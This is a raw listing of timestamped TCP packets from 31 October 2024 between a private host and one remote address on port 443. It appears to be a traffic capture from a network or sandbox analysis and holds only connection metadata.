Oct 31, 2024 17:27:10.692420959 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.692544937 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.692851067 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.692866087 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.692884922 CET	62903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.692890882 CET	443	62903	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.696053982 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.696142912 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:10.696221113 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.696353912 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:10.696384907 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.075455904 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.076049089 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.076086044 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.076539040 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.076546907 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.203227997 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.203324080 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.203394890 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.203639030 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.203665018 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.203680992 CET	62904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.203689098 CET	443	62904	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.206630945 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.206674099 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.206768036 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.206928015 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.206937075 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.319474936 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.320180893 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.320209980 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.320708036 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.320713043 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.394963026 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.395519018 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.395553112 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.395874023 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.395879984 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.404390097 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.404753923 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.404778004 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.405133009 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.405139923 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.439021111 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.439351082 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.439419031 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.439769983 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.439784050 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.450992107 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.451234102 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.451282024 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.451489925 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.451489925 CET	62905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.451505899 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.451517105 CET	443	62905	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.453963995 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.454024076 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.454123974 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.454252005 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.454297066 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.529347897 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.529548883 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.529721022 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.529755116 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.529767990 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.529778957 CET	62906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.529783964 CET	443	62906	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.532646894 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.532691002 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.532763004 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.532902956 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.532921076 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.533967018 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.534015894 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.534060955 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.534152985 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.534171104 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.534184933 CET	62907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.534189939 CET	443	62907	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.536056042 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.536065102 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.536132097 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.536245108 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.536257982 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.572345972 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.573555946 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.573652029 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.573703051 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.573704004 CET	62908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.573731899 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.573755026 CET	443	62908	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.576021910 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.576057911 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.576150894 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.576287031 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.576313972 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.936124086 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.936980009 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.937000036 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:11.937767982 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:11.937772989 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.081463099 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.081540108 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.081588030 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.081813097 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.081834078 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.081845045 CET	62909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.081851006 CET	443	62909	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.085253000 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.085283041 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.085346937 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.085567951 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.085580111 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.199795961 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.200393915 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.200454950 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.200917959 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.200933933 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.294562101 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.295773983 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.319371939 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.319406986 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.320095062 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.320103884 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.320458889 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.320470095 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.321391106 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.321400881 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.322802067 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.323359013 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.323429108 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.323777914 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.323808908 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.336689949 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.336720943 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.336816072 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.336841106 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.337105989 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.337163925 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.337224960 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.337280989 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.337313890 CET	62910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.337330103 CET	443	62910	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.340555906 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.340627909 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.340706110 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.340853930 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.340878010 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.445872068 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.445943117 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.446007013 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.446250916 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.446269035 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.446279049 CET	62912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.446285009 CET	443	62912	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.446491003 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.446571112 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.446641922 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.446700096 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.446703911 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.446713924 CET	62911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.446717024 CET	443	62911	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.449610949 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.449645042 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.449671984 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.449711084 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.449711084 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.449764967 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.449918032 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.449923992 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.449928045 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.449939966 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.458863020 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.458894014 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.458973885 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.459013939 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.459137917 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.459167957 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.459191084 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.459338903 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.459382057 CET	443	62913	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.459431887 CET	62913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.461296082 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.461312056 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.461376905 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.461510897 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.461519003 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.829168081 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.829879999 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.829894066 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.830459118 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.830462933 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.960144997 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.960169077 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.960222960 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.960242987 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.960414886 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.960617065 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.960630894 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.960640907 CET	62914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.960647106 CET	443	62914	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.963943005 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.963975906 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:12.964046955 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.964207888 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:12.964217901 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.083281994 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.084007978 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.084037066 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.084497929 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.084505081 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.202445030 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.202940941 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.202955961 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.203411102 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.203418016 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.211599112 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.212030888 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.212047100 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.212487936 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.212495089 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.214505911 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.214528084 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.214582920 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.214581966 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.214637041 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.214812040 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.214834929 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.214848042 CET	62915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.214854956 CET	443	62915	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.216336012 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.216644049 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.216667891 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.217029095 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.217041969 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.217910051 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.218019009 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.218107939 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.218225956 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.218261957 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.506822109 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.507730961 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.507797956 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.508014917 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.508030891 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.508040905 CET	62917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.508045912 CET	443	62917	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.510905027 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.510936975 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.511014938 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.511183977 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.511193037 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.699906111 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.704849958 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.704875946 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.705372095 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.705379009 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.809230089 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.809405088 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.809469938 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.809643030 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.809664011 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.809679031 CET	62918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.809684992 CET	443	62918	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.809871912 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.809931040 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.809967041 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.810058117 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.810070992 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.810081959 CET	62916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.810085058 CET	443	62916	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.812969923 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.813003063 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.813014030 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.813028097 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.813079119 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.813116074 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.813256025 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.813270092 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.813292027 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.813308001 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.832230091 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.832371950 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.832453012 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.832612038 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.832631111 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.832644939 CET	62919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.832650900 CET	443	62919	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.834744930 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.834784985 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.834860086 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.834988117 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.835000992 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.963706970 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.964503050 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.964524984 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:13.965141058 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:13.965148926 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.101846933 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.101916075 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.101974964 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.102247953 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.102273941 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.102287054 CET	62920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.102293968 CET	443	62920	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.105674028 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.105719090 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.105806112 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.105993032 CET	62925	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.106007099 CET	443	62925	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.251596928 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.252083063 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.252095938 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.252589941 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.252594948 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.381469965 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.381752014 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.381822109 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.381863117 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.381880045 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.381925106 CET	62921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.381931067 CET	443	62921	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.384856939 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.384917021 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.384989023 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.385133028 CET	62926	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.385148048 CET	443	62926	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.534290075 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.534821987 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.534841061 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.535332918 CET	62923	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.535337925 CET	443	62923	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.558921099 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.559365988 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.559401989 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.559962034 CET	62922	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.559973955 CET	443	62922	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.588610888 CET	443	62924	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:14.588960886 CET	62924	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:14.588989019 CET	443	62924	13.107.246.45	192.168.2.4
